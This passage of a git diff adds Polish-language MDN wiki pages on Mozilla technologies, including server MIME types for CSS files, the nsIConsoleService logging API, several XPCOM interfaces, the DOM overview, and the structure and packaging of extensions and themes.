+ <li><a class="external" href="http://www.mozilla.org/projects/netlib/presentations/necko1-2002-02-18/slide1.xml">Darin's necko presentation</a> 18 lutego 2002 roku na dole (wymaga Firefoksa do zobaczenia).</li>
+ <li><a class="external" href="http://www.mozilla.org/projects/netlib/presentations/proxy-2003-02-04/slide1.xml">Darin's proxy presentation</a> 4 lutego 2003 roku na dole (wymaga Firefoksa do zobaczenia).</li>
+ </ul>
+ </td>
+ <td>
+ <h3 id="Spo.C5.82eczno.C5.9B.C4.87" name="Spo.C5.82eczno.C5.9B.C4.87">Społeczność</h3>
+
+ <ul>
+ <li>Zwiedź fora Mozilli... {{ DiscussionList("dev-tech-network", "mozilla.dev.tech.network") }}</li>
+ </ul>
+ </td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/pl/nieprawidłowy_typ_mime_plików_css/index.html b/files/pl/nieprawidłowy_typ_mime_plików_css/index.html
new file mode 100644
index 0000000000..d2dc0560c2
--- /dev/null
+++ b/files/pl/nieprawidłowy_typ_mime_plików_css/index.html
@@ -0,0 +1,38 @@
+---
+title: Nieprawidłowy typ MIME plików CSS
+slug: Nieprawidłowy_typ_MIME_plików_CSS
+tags:
+ - CSS
+ - Wszystkie_kategorie
+translation_of: Web/HTTP/Basics_of_HTTP/MIME_types
+---
+<p> </p>
+<h3 id="W_czym_jest_problem.3F">W czym jest problem?</h3>
+<p>Może się zdarzyć, że natrafisz na stronę internetową, która korzysta z CSS i wygląda ubogo w Netscape 7.x lub innej przeglądarce opartej o Gecko, jak Mozilla, podczas gdy Internet Explorer (MSIE) wyświetli ową stronę "ładną". Jednym z częstych powodów takiej sytuacji jest nieprawidłowa konfiguracja serwera WWW hostującego plik CSS. Niektóre serwery internetowe oparte o Apache lub iPlanet wiążą pliki .css z nieodpowiednim typem MIME, jak np. <em>text/plain</em> lub <em>text/x-pointplus</em>. W niektórych przypadkach Netscape 7.x i Mozilla ignorują plik CSS ze względu na jego nieprawidłowy typ MIME i używają domyślnego arkusza stylów, przez co układ strony jest inny, niż zamierzał twórca strony.</p>
+<h3 id="Kiedy_si.C4.99_tak_dzieje.3F">Kiedy się tak dzieje?</h3>
+<p><a class="external" href="http://www.w3.org/TR/REC-CSS2/conform.html#text-css">Specyfikacja W3C</a> stwierdza, że pliki CSS powinny być serwowane z typem MIME <em>text/css</em>. Mozilla i Netscape 7.x, kiedy pracują w trybie standardów, stosują się do specyfikacji i oczekują odpowiedniego typu MIME dla plików CSS (tryb standardów jest włączany, kiedy w pierwszej linii strony HTML zostanie umieszczone DTD Strict). W trybie zgodności wstecznej obydwie aplikacje tolerują nieodpowiedni typ MIME i użyją dołączonych stylów pomimo błędnej konfiguracji serwera. Oznacza to, że nie możesz używać dokumentów <em>Strict</em> przy źle skonfigurowanym serwerze. MSIE pozwala na to, gdyż - niepoprawnie - nie zwraca uwagi na typ MIME wysyłany przez serwer w nagłówku HTTP.</p>
+<h3 id="Co_mog.C4.99_zrobi.C4.87.2C_by_to_zmieni.C4.87.3F">Co mogę zrobić, by to zmienić?</h3>
+<p>Musisz poprosić administratora serwera internetowego o uaktualnienie konfiguracji typów MIME.</p>
+<p>Problem ten na serwerach iPlanet/Netscape został już zauważony przez producenta, który utworzył stosowną notatkę techniczną (zob. <a href="#Zmiana_typ.C3.B3w_MIME_na_serwerach_iPlanet.2FSun">poniżej</a>) w swojej bazie wiedzy.</p>
+<p>Jeśli korzystasz z Apache'a, możesz także zmienić ustawienia w pliku <code>.htaccess</code> w głównym katalogu. (<code>.htaccess</code> jest plikiem konfiguracyjnym tylko do odczytu, który obsługuje kilka rzeczy, w tym typy MIME). Dodaj do swojego pliku <code>.htaccess</code> taką linię:</p>
+<pre>AddType text/css .css</pre>
+<p>Zwróć uwagę, że niektórzy administratorzy wyłączają użycie plików <code>.htaccess</code> na swoich serwerach, ponieważ powodują one niewielkie spadek wydajności.</p>
+<h3 id="Wnioski">Wnioski</h3>
+<p>Używanie ścisłej definicji typu dokumentu (Strict DTD) wraz z Mozillą oznacza, że serwer hostujący Twoje strony powinien być skonfigurowany prawidłowo. Jest kilka rozwiązań tego problemu, jednak najskuteczniejszym jest powiązanie odpowiedniego typu MIME z plikami .css. Poproś administratora aby naprawił to dla Ciebie, a wszyscy, którzy publikują HTML z DTD Strict, będą Ci wdzięczni!</p>
+<h3 id="Zmiana_typ.C3.B3w_MIME_na_serwerach_iPlanet.2FSun">Zmiana typów MIME na serwerach iPlanet/Sun</h3>
+<h4 id="Problem">Problem</h4>
+<p>Użytkownikom wyświetlone zostaje okno <em>Zapisz jako</em> z typem zawartości ustawionym na <em>application/x-pointplus</em> lub zawartość pliku CSS jest wyświetlana jako tekst, kiedy arkusz CSS ma rozszerzenie .css.</p>
+<h4 id="Rozwi.C4.85zanie">Rozwiązanie</h4>
+<p>Typ pliku .css nie jest mapowany na arkusz CSS w domyślnej konfiguracji typów MIME serwera Enterprise Server. Możesz zmienić to mapowanie na stronie Global MIME Types.</p>
+<p>By skorzystać z tej strony, wybierz w panelu administracyjnym <em>Server Preferences</em>, <em>MIME Types</em> i ustaw typ MIME dla .css na <em>text/css</em> zamiast <em>application/x-pointplus</em>.</p>
+<p>Jeśli problem pozostanie, dodaj "KeepAliveTimeout 0" w <em>magnus.conf</em>.</p>
+<p>W oparciu o: <a class="external" href="http://sunsolve.sun.com">SunSolve, Sun Microsystems</a></p>
+<h3 id="Dodatkowe_zasoby">Dodatkowe zasoby</h3>
+<ul> <li><a href="/en/Properly_Configuring_Server_MIME_Types">Properly Configuring Server MIME Types</a></li> <li><a class="external" href="http://www.htmlhelp.com/faq/html/media.html#garbled-media">About garbled media</a></li>
+</ul>
+<div class="originaldocinfo">
+<h3 id="Informacje_o_dokumencie">Informacje o dokumencie</h3>
+<ul> <li>Autor(zy): Tristan Nitot</li> <li>Ostatnia aktualizacja: 18 marca 2002</li> <li>Copyright © 2001-2003 Netscape.</li>
+</ul>
+</div>
+<p>{{ languages( { "en": "en/Incorrect_MIME_Type_for_CSS_Files", "es": "es/Tipo_MIME_incorrecto_en_archivos_CSS", "fr": "fr/Type_MIME_incorrect_pour_les_fichiers_CSS" } ) }}</p>
diff --git a/files/pl/nsiconsoleservice/index.html b/files/pl/nsiconsoleservice/index.html
new file mode 100644
index 0000000000..27a82c29ca
--- /dev/null
+++ b/files/pl/nsiconsoleservice/index.html
@@ -0,0 +1,54 @@
+---
+title: nsIConsoleService
+slug: nsIConsoleService
+tags:
+ - Dokumentacja_API_XPCOM
+ - Interfejsy
+ - 'Interfejsy:Scriptable'
+ - Wszystkie_kategorie
+ - XPCOM
+translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsIConsoleService
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Usługa konsoli to back-end dla narzędzia <a href="pl/Konsola_b%c5%82%c4%99d%c3%b3w">Konsola błędów</a>, dostępnym w każdej aplikacji Mozilli. Wykorzystywany jest do wypisywania różnych wiadomości, ostrzeżen i błędów oraz do ich pobierania.
+</p><p>Definicja interfejsu: {{ Source("xpcom/base/nsIConsoleService.idl") }}
+Identyfikator kontraktu: <code>@mozilla.org/consoleservice;1</code>
+</p><p>Interfejs ten nie został zamrożony i może ulec zmianie w przyszłości ({{ Bug(228205) }}).
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<h4 id="Zapisywanie_prostej_wiadomo.C5.9Bci_w_dzienniku" name="Zapisywanie_prostej_wiadomo.C5.9Bci_w_dzienniku"> Zapisywanie prostej wiadomości w dzienniku </h4>
+<p>Typowe zastosowanie to zapisywanie wiadomości do konsoli:
+</p>
+<pre class="eval">function LOG(msg) {
+ var consoleService = Components.classes["@mozilla.org/consoleservice;1"]
+ .getService(Components.interfaces.nsIConsoleService);
+ consoleService.logStringMessage(msg);
+}
+</pre>
+<p>Alternatywne metody to m. in. <a href="pl/Components.utils.reportError">Components.utils.reportError</a> i <a href="pl/DOM/window.dump">dump()</a>.
+</p>
+<h4 id="Zapisywanie_do_dziennika_wiadomo.C5.9Bci_z_dodatkowymi_informacjami" name="Zapisywanie_do_dziennika_wiadomo.C5.9Bci_z_dodatkowymi_informacjami"> Zapisywanie do dziennika wiadomości z dodatkowymi informacjami </h4>
+<p>Aby dołączyć inne informacje, takie jak plik żródłowy i numer linii, konieczne jest skorzystanie z bardziej skomplikowanego kodu:
+</p>
+<pre class="eval">function myLogToConsole(aMessage, aSourceName, aSourceLine, aLineNumber,
+ aColumnNumber, aFlags, aCategory)
+{
+ var consoleService = Components.classes["@mozilla.org/consoleservice;1"]
+ .getService(Components.interfaces.nsIConsoleService);
+ var scriptError = Components.classes["@mozilla.org/scripterror;1"]
+ .createInstance(Components.interfaces.nsIScriptError);
+ scriptError.init(aMessage, aSourceName, aSourceLine, aLineNumber,
+ aColumnNumber, aFlags, aCategory);
+ consoleService.logMessage(scriptError);
+}
+</pre>
+<ul><li><code>aMessage</code> — tekst do zapisania w dzienniku. Parametr wymagany.
+</li><li><code>aSourceName</code> — adres URL pliku z błędem. W konsoli będzie to odnośnik, więc powinien to być prawdziwy adres URL. Można także przekazać wartość <code>null</code>, jeśli wskazanie pliku żródła nie jest potrzebne/możliwe.
+</li><li><code>aSourceLine</code> — linia #<code>aLineNumber</code> z pliku <code>aSourceName</code>. Za dostarczenie tej linii odpowiada programista. Można także przekazać <code>null</code>, wówczas linia żródła nie zostanie wyświetlona w konsoli błędów.
+</li><li><code>aLineNumber</code> i <code>aColumnNumber</code> — określa dokładne położenie błędu. <code>aColumnNumber</code> wykorzystywany jest do wskazania strzałką problematycznego znaku.
+</li><li><code>aFlags</code> — jedna z flag określonych w <code>nsIScriptError</code>. W momencie tworzenia tego artykułu dostępnymi wartościami były: <code>nsIScriptError.errorFlag = 0</code>, <code>nsIScriptError.warningFlag = 1</code>, <code>nsIScriptError.exceptionFlag = 2</code> i <code>nsIScriptError.strictFlag = 4</code>.
+</li><li><code>aCategory</code> — tekst określający rodzaj kodu, który spowodował dany błąd. Istnieje kilka kategorii, ale nie ma jednego miejsca, w którym można by znależć je wszystkie. Mamy nadzieję, że kiedyś znajdą się w &lt;tt&gt;nsIScriptError.idl&lt;/tt&gt;.<span class="comment">tlumaczyc to?</span>
+</li></ul>
+{{ languages( { "fr": "fr/NsIConsoleService", "ja": "ja/NsIConsoleService", "en": "en/NsIConsoleService" } ) }}
diff --git a/files/pl/nsiinputstream/index.html b/files/pl/nsiinputstream/index.html
new file mode 100644
index 0000000000..4096e7b899
--- /dev/null
+++ b/files/pl/nsiinputstream/index.html
@@ -0,0 +1,41 @@
+---
+title: nsIInputStream
+slug: nsIInputStream
+tags:
+ - Dokumentacja_API_XPCOM
+ - Interfejsy
+ - 'Interfejsy:Skryptowalne'
+ - 'Interfejsy:Zamrożone'
+ - Wszystkie_kategorie
+ - XPCOM
+---
+<p>
+« <a href="/pl/docs/Dokumentacja_API_XPCOM">Dokumentacja API XPCOM</a>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Interfejs <code>nsIInputStream</code> reprezentuje źródło danych nadających się do odczytu.
+</p>
+<pre> #include "nsIInputStream.h"
+
+ [scriptable, uuid=(fa9c7f6c-61b3-11d4-9877-00c04fa0cf4a)]
+ interface nsIInputStream : nsISupports { ... };
+</pre>
+<h3 id="Metody" name="Metody">Metody</h3>
+<dl><dt> <code><a href="pl/NsIInputStream/close">close</a></code>
+</dt><dd> Metoda zamyka ciąg wejściowy.
+</dd></dl>
+<dl><dt> <code><a href="pl/NsIInputStream/available">available</a></code>
+</dt><dd> Metoda zwraca ilość bajtów aktualnie możliwych do odczytania z ciągu.
+</dd></dl>
+<dl><dt> <code><a href="pl/NsIInputStream/read">read</a></code>
+</dt><dd> Metoda kopiuje dane z ciągu do bufora.
+</dd></dl>
+<dl><dt> <code><a href="pl/NsIInputStream/readSegments">readSegments</a></code>
+</dt><dd> Metoda dostarcza bezpośredniego dostępu do wewnętrznego bufora ciągu.
+</dd></dl>
+<dl><dt> <code><a href="pl/NsIInputStream/isNonBlocking">isNonBlocking</a></code>
+</dt><dd> Metoda zwraca wartość <code>true</code> jeśli ciąg nie jest blokujący.
+</dd></dl>
+<h3 id="Historia" name="Historia">Historia</h3>
+<p>Ten interfejs został zamrożony dla Mozilli 1.0. Zobacz <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=124465" title="FIXED: [meta] freeze specific necko APIs for mozilla 1.0">błąd 124465</a>, aby poznać szczegóły.
+</p>
diff --git a/files/pl/nsiprogramminglanguage/index.html b/files/pl/nsiprogramminglanguage/index.html
new file mode 100644
index 0000000000..1b6b71f9de
--- /dev/null
+++ b/files/pl/nsiprogramminglanguage/index.html
@@ -0,0 +1,37 @@
+---
+title: nsIProgrammingLanguage
+slug: nsIProgrammingLanguage
+tags:
+ - Dokumentacja_API_XPCOM
+ - Interfejsy
+ - 'Interfejsy:Zamrożone'
+ - Wszystkie_kategorie
+ - XPCOM
+translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsIProgrammingLanguage
+---
+<p>
+« <a href="/pl/docs/Dokumentacja_API_XPCOM">Dokumentacja API XPCOM</a>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Interfejs <code>nsIProgrammingLanguage</code> dostarcza wyliczenie identyfikatorów języków programowania.
+</p>
+<pre>#include "nsIProgrammingLanguage.h"
+
+[scriptable, uuid=(ea604e90-40ba-11d5-90bb-0010a4e73d9a)]
+interface nsIProgrammingLanguage : nsISupports { ... };
+</pre>
+<h3 id="Typy_j.C4.99zyk.C3.B3w" name="Typy_j.C4.99zyk.C3.B3w"> Typy języków </h3>
+<p><code><b>nsIProgrammingLanguage::UNKNOWN</b></code>
+</p><p><code><b>nsIProgrammingLanguage::CPLUSPLUS</b></code>
+</p><p><code><b>nsIProgrammingLanguage::JAVASCRIPT</b></code>
+</p><p><code><b>nsIProgrammingLanguage::PYTHON</b></code>
+</p><p><code><b>nsIProgrammingLanguage::PERL</b></code>
+</p><p><code><b>nsIProgrammingLanguage::JAVA</b></code> </p><p><code><b>nsIProgrammingLanguage::ZX81_BASIC</b></code>
+</p><p><code><b>nsIProgrammingLanguage::JAVASCRIPT2</b></code>
+</p>
+<h3 id="Uwagi" name="Uwagi"> Uwagi </h3>
+<p>Ta lista może się rozrastać w przyszłości o nowe identyfikatory języków; jednakże aktualne wartości identyfikatorów pozostaną zawsze niezmienne.
+</p>
+<h3 id="Historia" name="Historia"> Historia </h3>
+<p>Interfejs został zamrożony dla Mozilli 0.9.5. Zobacz <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=99156" title="FIXED: Freeze nsIProgrammingLanguage">błąd 99156</a>.
+</p>
diff --git a/files/pl/nsixulappinfo/index.html b/files/pl/nsixulappinfo/index.html
new file mode 100644
index 0000000000..d7dfce9ac1
--- /dev/null
+++ b/files/pl/nsixulappinfo/index.html
@@ -0,0 +1,25 @@
+---
+title: nsIXULAppInfo
+slug: nsIXULAppInfo
+tags:
+ - Dokumentacja_API_XPCOM
+ - Interfejsy
+ - 'Interfejsy:Skryptowalne'
+ - 'Interfejsy:Zamrożone'
+ - Wszystkie_kategorie
+ - XPCOM
+---
+<p></p><div style="border: solid #ddd 2px; margin-bottom: 12px;">
+<div style="background: #eee; padding: 2px;"><code><a href="https://dxr.mozilla.org/mozilla-central/source/xpcom/system/nsIXULAppInfo.idl" rel="custom">xpcom/system/nsIXULAppInfo.idl</a></code><span style="text-align: right; float: right;"><a href="/pl/docs/Interfejsy/O_interfejsach_skryptowalnych" style="color: #00cc00; font-weight: 700;">skryptowalny</a></span></div>
+<span style="padding: 4px 2px;">
+
+<i>Please add a summary to this article.</i>
+</span>
+
+<div style="background: #eee; padding: 2px;">
+<span> </span>
+<span style="text-align: right; float: right;">Last changed in Gecko mozilli1.8 </span></div>
+</div>
+<p></p><p>Aby uzyskać więcej informacji na temat jego stosowania, zobacz <a href="pl/Zastosowanie_nsIXULAppInfo">Zastosowanie nsIXULAppInfo</a>.
+</p><p>W aplikacjach <a href="pl/XULRunner">XULRunner</a> <code>nsIXULAppInfo</code> uzyskuje specyficzne dla aplikacji informacje z <a href="pl/Pakowanie_aplikacji_XUL">application.ini</a>.
+</p>
diff --git a/files/pl/o_modelu_obiektowym_dokumentu/index.html b/files/pl/o_modelu_obiektowym_dokumentu/index.html
new file mode 100644
index 0000000000..2bcf635b03
--- /dev/null
+++ b/files/pl/o_modelu_obiektowym_dokumentu/index.html
@@ -0,0 +1,19 @@
+---
+title: O modelu obiektowym dokumentu
+slug: O_modelu_obiektowym_dokumentu
+tags:
+ - DOM
+ - Wszystkie_kategorie
+translation_of: Web/API/Document_Object_Model
+---
+<p> </p>
+<h3 id="Czym_jest_DOM.3F">Czym jest DOM?</h3>
+<p><strong>Model obiektowy dokumentu</strong> (DOM) to API dla dokumentów HTML i XML. Zapewnia ono strukturalną reprezentację dokumentu, pozwalając na modyfikację jego zawartości i wizualnej prezentacji. W gruncie rzeczy, DOM łączy strony internetowe ze skryptami lub językami programowania.</p>
+<p>Wszystkie właściwości, metody i zdarzenia dostępne dla twórcy stron internetowych, służące do manipulowania i tworzenia stron zorganizowane są w <a href="/pl/Dokumentacja_Gecko_DOM" title="pl/Dokumentacja_Gecko_DOM">obiekty</a> (np. obiekt <code>document</code> reprezentujący dokument, obiekt <code>table</code> odpowiadający za tabele w HTML itp.) Obiekty te dostępne są poprzez języki skryptowe w większości współczesnych przeglądarek.</p>
+<p>DOM używany jest zazwyczaj w połączeniu z <a href="/pl/JavaScript" title="pl/JavaScript">JavaScriptem</a>. Oznacza to, że kod pisany jest w JavaScript, ale DOM wykorzystywany jest by uzyskać dostęp do strony internetowej i jej elementów. Jednakże DOM zaprojektowano tak, by był niezależnym od konkretnego języka programowania, tworząc strukturalną reprezentację dokumentu poprzez jedno, spójne API. Mimo że na tej stronie skupimy się na JavaScripcie, implementacje DOM można stworzyć dla <a class="external" href="http://www.w3.org/DOM/Bindings">dowolnego języka</a>.</p>
+<p>Konsorcjum <a class="external" href="http://www.w3.org/">W3C</a> stworzyło <a class="external" href="http://www.w3.org/DOM/">standard DOM</a>, nazywany W3C DOM. Powinno to, dzięki poprawnej implementacji w większości przeglądarek, pozwolić na tworzenie aplikacji o dużych możliwościach dla różnych przeglądarek.</p>
+<h3 id="Dlaczego_obs.C5.82uga_DOM_jest_tak_wa.C5.BCna_w_Mozilli.3F">Dlaczego obsługa DOM jest tak ważna w Mozilli?</h3>
+<p>Terminem "Dynamiczny HTML" (<a href="/pl/DHTML" title="pl/DHTML">DHTML</a>) niektórzy dostawcy określają połączenie HTML-a, arkuszy stylów i skryptów, pozwalające na animację dokumentów. Grupa W3C DOM Working Group pracuje ciężko, by uzgodnić spójne i niezależne od języka rozwiązania (zob. także <a class="external" href="http://www.w3.org/DOM/faq.html">W3C FAQ</a>). Jako że Mozilla przypisuje sobie tytuł <em>platformy dla aplikacji internetowych</em>, obsługa DOM jest jedną z najbardziej oczekiwanych możliwości, a także niezbędną, jeżeli Mozilla chce być realną alternatywą dla innych przeglądarek.</p>
+<p>Jeszcze istotniejszym jest fakt, że interfejs użytkownika w Mozilli (a także Firefoksie i Thunderbirdzie) zbudowany jest przy użyciu <a href="/pl/XUL" title="pl/XUL">XUL</a> - XML-owego języka interfejsu. Zatem Mozilla używa DOM by <a href="/en/Dynamically_modifying_XUL-based_user_interface">operować swym własnym interfejsem</a>.</p>
+
+<p>{{ languages( { "en": "en/About_the_Document_Object_Model", "es": "es/Acerca_del_Modelo_de_Objetos_del_Documento", "fr": "fr/\u00c0_propos_du_Document_Object_Model", "ja": "ja/About_the_Document_Object_Model", "ko": "ko/About_the_Document_Object_Model", "ru": "ru/\u041e\u0431_\u043e\u0431\u044a\u0435\u043a\u0442\u043d\u043e\u0439_\u043c\u043e\u0434\u0435\u043b\u0438_\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430", "zh-cn": "cn/About_the_Document_Object_Model" } ) }}</p>
diff --git a/files/pl/paczki/index.html b/files/pl/paczki/index.html
new file mode 100644
index 0000000000..5aca903157
--- /dev/null
+++ b/files/pl/paczki/index.html
@@ -0,0 +1,72 @@
+---
+title: Struktura paczki instalacyjnej
+slug: Paczki
+tags:
+ - Toolkit API
+ - Wszystkie_kategorie
+translation_of: Archive/Mozilla/Bundles
+---
+<p> </p>
+<p><a href="pl/Pakowanie_aplikacji_XUL">Aplikacje XULRunner</a>, <a href="pl/Rozszerzenia">rozszerzenia</a> oraz <a href="pl/Motywy">motywy</a> dzielą wspólna strukturę katalogów, a w niektórych przypadkach ta sama paczka może być używana zarówno w samodzielnej aplikacji XULRunner jak i w rozszerzeniu aplikacji, które można instalować.</p>
+<p> </p>
+<h3 id="Podstawowa_struktura_paczki" name="Podstawowa_struktura_paczki">Podstawowa struktura paczki</h3>
+<p>Paczka może zawierać jakikolwiek z poniższych plików:</p>
+<pre class="eval">/<a href="pl/Manifesty_Instalacji">install.rdf</a><i>Manifest instalacyjny rozszerzenia/motywu</i>
+/<a href="pl/Pakowanie_aplikacji_XUL">application.ini</a><i>Manifest inicjalizacji aplikacji</i>
+/components/*<i>Komponenty oraz pliki XPT</i> <a href="pl/Gecko#Wersje_Gecko">(&gt;=1.7)</a>
+<a href="pl/Tworzymy_rozszerzenie#Pliki_domy.C5.9Blne">/defaults/preferences/*.js</a><i>Ustawienia domyślne</i> <a href="pl/Gecko#Wersje_Gecko">(&gt;=1.7)</a>
+/plugins/*<i>Wtyczki NPAPI</i> <a href="pl/Gecko#Wersje_Gecko">(&gt;=1.8)</a>
+/<a href="pl/Rejestracja_Chrome">chrome.manifest</a><i>Manifest rejestracji Chrome</i> <a href="pl/Gecko#Wersje_Gecko">(&gt;=1.8)</a>
+/<a href="pl/Ikony_okna">chrome/icons/default/*</a><i>Ikony okna</i> <a href="pl/Gecko#Wersje_Gecko">(&gt;=1.8)</a>
+</pre>
+<p>Oczywiście rozszerzenie nie musi (i normalnie nie będzie) zawierać wszystkich powyższych katalogów. Motywy podlegają ograniczeniom ze względów bezpieczeństwa i standardowo zawierają tylko <a href="pl/Rejestracja_Chrome">chrome.manifest</a> rejestrujący dany motyw oraz plik JAR.</p>
+<h3 id="Podkatalogi_zale.C5.BCne_od_platformy" name="Podkatalogi_zale.C5.BCne_od_platformy">Podkatalogi zależne od platformy</h3>
+<p>W niektórych przypadkach rozszerzenia, lub aplikacje będą chciały dołączyć składniki binarne lub wtyczki dla wielu platform, lub tez autorzy motywów będą chcieli załączyć pliki JAR dla wielu platform. W celu rozwiązania pierwszego przypadku rozszerzenie / loader aplikacji zawiera specjalne podkatalogi przeznaczone dla plików zależnych od platformy (rozpoczynając od <b>Toolkitu</b>/Gecko 1.8, Firefox/Thunderbird 1.5). Ciąg określający platformę jest definiowany podczas budowania <b>toolkitu</b> i składa się z unikalnej kombinacji systemu operacyjnego, architektury procesora oraz kompilatora. Format tegoż ciągu wygląda następująco:</p>
+<pre class="eval"><i>{OS_TARGET}</i>_<i>{<a href="pl/XPCOM_ABI">TARGET_XPCOM_ABI</a>}</i>
+</pre>
+<p>Wszystkie pliki ładowane z głównego katalogu rozszerzenia są ładowane z podkatalogu</p>
+<pre class="eval">/platform/<i>{platform string}</i>
+</pre>
+<p>Jeśli istnieje. Dla przykładu, jeśli producent wtyczki chce ja udostępnić dla użytkownika systemów: Linux, Macintosh i Windows to powinien dostarczyć poniższe pliki:</p>
+<pre class="eval">/platform/Linux_x86-gcc3/plugins/libMyPlugin.so
+/platform/WINNT_x86-msvc/plugins/MyPlugin.dll
+/platform/Darwin_ppc-gcc3/plugins/libMyPlugin.dylib
+</pre>
+<p>Ponieważ pliki XPT są niezależne od platformy, to wszystkie pliki z nimi związane powinny być za ogólnym katalogu komponentów:</p>
+<pre class="eval">/components/MyPlugin.xpt
+</pre>
+<p>Jeśli rozszerzenie nie posada żadnego kodu binarnego zależnego od platformy (tj. kod skryptu używający rejestrów Windows), to może ono również wykorzystywać identyfikator systemu operacyjnego jako podkatalog platformy:</p>
+<pre class="eval">/platform/WINNT/components/registerDoctype.js
+</pre>
+<p>W przypadku użycia plików JAR zależnych od platformy każdy katalog platformy powinien posiadać własny plik <a href="pl/Rejestracja_Chrome">chrome.manifest</a>:</p>
+<pre class="eval">chrome.manifest
+chrome/mytheme-base.jar
+platform/Darwin/chrome.manifest
+platform/Darwin/chrome/mytheme-mac.jar
+platform/WINNT/chrome.manifest
+platform/WINNT/chrome/mytheme-win.jar
+</pre>
+<p>Załadunek rozszerzenia / aplikacji rozpoczyna się od katalogów bazowych, a następnie katalogów platformy aplikacji (wpierw /{OS_TARGET}/, potem /{OS_TARGET}_{<a href="pl/XPCOM_ABI">TARGET_XPCOM_ABI</a>}/). Jeśli zdefiniowano domyślne własności w poszczególnych katalogach, te ładowane później nadpisują załadowane wcześniej.</p>
+<h3 id="Pliki_rozszerze.C5.84_zale.C5.BCne_od_aplikacji" name="Pliki_rozszerze.C5.84_zale.C5.BCne_od_aplikacji">Pliki rozszerzeń zależne od aplikacji</h3>
+<p>Dodatkowo do plików rozszerzeń opisanych powyżej aplikacje mogą poszukiwać dodatkowych plików. Na przykład <a href="pl/Firefox_1.5">Firefox 1.5</a> lub nowszy poszuka wtyczek Sherlock w plikach:</p>
+<pre class="eval">/searchplugins/*.src
+</pre>
+<p><a href="pl/Firefox_2">Firefox 2</a> oraz nowsze wersje automatycznie poszukają również <a href="pl/Tworzenie_wtyczek_MozSearch">Tworzenie wtyczek MozSearch oraz OpenSearch</a> w plikach:</p>
+<pre class="eval">/searchplugins/*.xml
+</pre>
+<p>oraz słowniki Myspell w plikach:</p>
+<pre class="eval">/dictionaries/*.{aff|dic}
+</pre>
+<h3 id="Oficjalne_dokumentacje_Toolkit_API" name="Oficjalne_dokumentacje_Toolkit_API">Oficjalne dokumentacje <a href="pl/Toolkit_API">Toolkit API</a></h3>
+<p>
+ </p><ul>
+ <li><a href="/en/Bundles" title="en/Bundles">Structure of an Installable Bundle</a>: describes the common structure of installable bundles, including extensions, themes, and XULRunner applications</li>
+ <li><a href="/en/Extension_Packaging" title="en/Extension_Packaging">Extension Packaging</a>: specific information about how to package extensions</li>
+ <li><a href="/en/Theme_Packaging" title="en/Theme_Packaging">Theme Packaging</a>: specific information about how to package themes</li>
+ <li><a href="/en/Multiple_Item_Packaging" title="en/Multiple_Item_Packaging">Multiple-item Extension Packaging</a>: specific information about multiple-item extension XPIs</li>
+ <li><a href="/en/XUL_Application_Packaging" title="en/XUL_Application_Packaging">XUL Application Packaging</a>: specific information about how to package XULRunner applications</li>
+ <li><a href="/en/Chrome_Registration" title="en/Chrome_Registration">Chrome Registration</a></li>
+ <li><a href="/en-US/docs/Mozilla/Tech/XUL/Printing">Printing in XUL Apps</a></li>
+ </ul>
+
+<p> </p>
diff --git a/files/pl/pakowanie_motywów/index.html b/files/pl/pakowanie_motywów/index.html
new file mode 100644
index 0000000000..8d91ae7fbc
--- /dev/null
+++ b/files/pl/pakowanie_motywów/index.html
@@ -0,0 +1,113 @@
+---
+title: Pakowanie motywów
+slug: Pakowanie_motywów
+tags:
+ - Dodatki
+ - Motywy
+ - Toolkit API
+ - Wszystkie_kategorie
+translation_of: Mozilla/Thunderbird/Thunderbird_extensions/Theme_Packaging
+---
+<p> </p>
+<p>Poniższy artykuł opisuje operację pakowania <a href="pl/Motywy">motywów</a> dla Firefoksa oraz Thunderbirda.</p>
+<h3 id="Za.C5.82o.C5.BCenia" name="Za.C5.82o.C5.BCenia">Założenia</h3>
+<p>Tworzenie motywów dla Firefoksa lub Thunderbirda wymaga znajomości Cascading Stylesheets (<a href="pl/CSS">CSS</a>), prawdopodobnie <a href="pl/XBL">XBL</a> oraz projektowania grafiki i wyczucia estetyki (...lub też nie). Poniższy artykuł opisuje jedynie jak pakowane są motywy, aby pokazać je w oknie Motywów Firefoksa.</p>
+<h3 id="Struktura_plik.C3.B3w_motywu" name="Struktura_plik.C3.B3w_motywu">Struktura plików motywu</h3>
+<p>Motywy Firefoksa/Thunderbirda pakowane są do plików JAR o następującej strukturze:</p>
+<pre class="eval">motyw.jar:
+ install.rdf
+ contents.rdf
+ preview.png
+ icon.png
+ browser/<i>files</i>
+ global/<i>files</i>
+ mozapps/<i>files</i>
+ communicator/<i>files</i>
+ ...
+
+</pre>
+<ul>
+ <li>Na najwyższym poziomie musi się znajdować plik <a href="pl/Rejestracja_Chrome">chrome.manifest</a> (Firefoks/Thunderbird 1.5) lub contents.rdf rejestrujący chrom dla motywu (jak poprzednio) oraz manifest <a href="pl/Install.rdf">install.rdf</a> określający informacje wyświetlane w oknie Motywy.</li>
+ <li>preview.png jest obrazkiem podglądu pokazywanym podczas przeglądania okna Motywy. Może posiadać dowolny rozmiar.</li>
+ <li>icon.png jest ikoną o rozmiarze 32x32 w formacie PNG (może posiadać przeźroczystość alpha) pokazywaną w liście motywów w oknie Motywy.</li>
+</ul>
+<h3 id="install.rdf" name="install.rdf">install.rdf</h3>
+<p>Twój manifest <a href="pl/Install.rdf">install.rdf</a> będzie wyglądał podobnie do poniższego:</p>
+<pre class="eval">&lt;?xml version="1.0"?&gt;
+
+&lt;RDF xmlns="<span class="nowiki">http://www.w3.org/1999/02/22-rdf-syntax-ns#</span>"
+ xmlns:em="<span class="nowiki">http://www.mozilla.org/2004/em-rdf#</span>"&gt;
+
+ &lt;Description about="urn:mozilla:install-manifest"&gt;
+ &lt;em:type&gt;4&lt;/em:type&gt;<i>more properties</i>
+ &lt;/Description&gt;
+&lt;/RDF&gt;
+</pre>
